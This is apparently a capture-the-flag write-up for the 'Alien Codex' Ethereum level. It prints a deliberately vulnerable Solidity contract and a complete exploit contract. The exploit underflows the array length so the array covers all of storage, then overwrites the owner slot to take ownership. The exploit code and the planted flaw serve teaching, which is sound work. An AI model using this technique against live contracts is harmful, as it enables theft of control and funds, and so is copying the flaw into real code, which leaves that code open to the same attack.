ā Alien Codex
dynamic array
Description
You've uncovered an Alien contract. Claim ownership to complete the level.
Things that might help:
Understanding how array storage works
Understanding ABI specifications
Using a very
underhanded
approach
Code Audit
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
The objective is to claim ownership of the challenge contract, but how? Hint: the first state variable of '../helpers/Ownable-05.sol' is owner
and this state variable is inherited by contract AlienCodex
. Our objective is to overwrite this owner
state variable.
Which slot does owner
reside? The state variable ordering in inheritance is explained in this post:
codex
is a dynamic array. This challenge is all about dynamic array storage layout. This blog explains this topic perfectly:
Challenge contract provides three functionalities to manipulate it:
record()
: push tocodex
retract()
: pop fromcodex
->length--
is the old fashion way of "pop" before Solidity v0.8revise()
: overwrite an entry ofcodex
Solution
First thing we have to do is calling make_contact()
. This will set contact
to true so that we can proceed.
Before Solidity v0.8, integer overflow/underflow is a thing. Note that the length of codex
can underflow. At beginning the length of codex
is 0. If we call retract()
, the length becomes -1, which is after underflow. Now we can treat codex
as a dynamic array with arbitrary length.
Since codex
can be long enough, it is possible to write to a specific index of codex
such that storage slot 0 is overwritten. This can be done using the function revise
, which is basically a powerful arbitrary write function:
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
Next, we are going to deduce which i
to write:
slot 0: owner (20 bytes) + contact (1 byte)
slot 1: codex.length
...
slot h (h = keccak(1)): codex[0]
slot h+1: codex[1]
slot h+2: codex[2]
...
slot h+i <=> slot 0: codex[i] <=> owner
=> i = 0 - h
The solution contract is easy to write:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IAlienCodex {
function owner() external view returns (address);
function make_contact() external;
function record(bytes32) external;
function retract() external;
function revise(uint256, bytes32) external;
}
contract AlienCodexHack {
constructor(IAlienCodex challenge) {
// contact = true;
challenge.make_contact();
// codex.length = 2**256 - 1;
challenge.retract();
// Overwrite codex[i] <=> slot 0
uint256 h = uint256(keccak256(abi.encode(uint256(1))));
uint256 i;
unchecked {
i = 0 - h;
}
challenge.revise(i, bytes32(uint256(uint160(msg.sender))));
// Verify if we are the owner now
require(challenge.owner() == msg.sender, "Failed.");
}
}
Summary
This level exploits the fact that the EVM doesn't validate an array's ABI-encoded length vs its actual payload.
Additionally, it exploits the arithmetic underflow of array length, by expanding the array's bounds to the entire storage area of 2^256
. The user is then able to modify all contract storage.
Both vulnerabilities are inspired by 2017's Underhanded coding contest
Last updated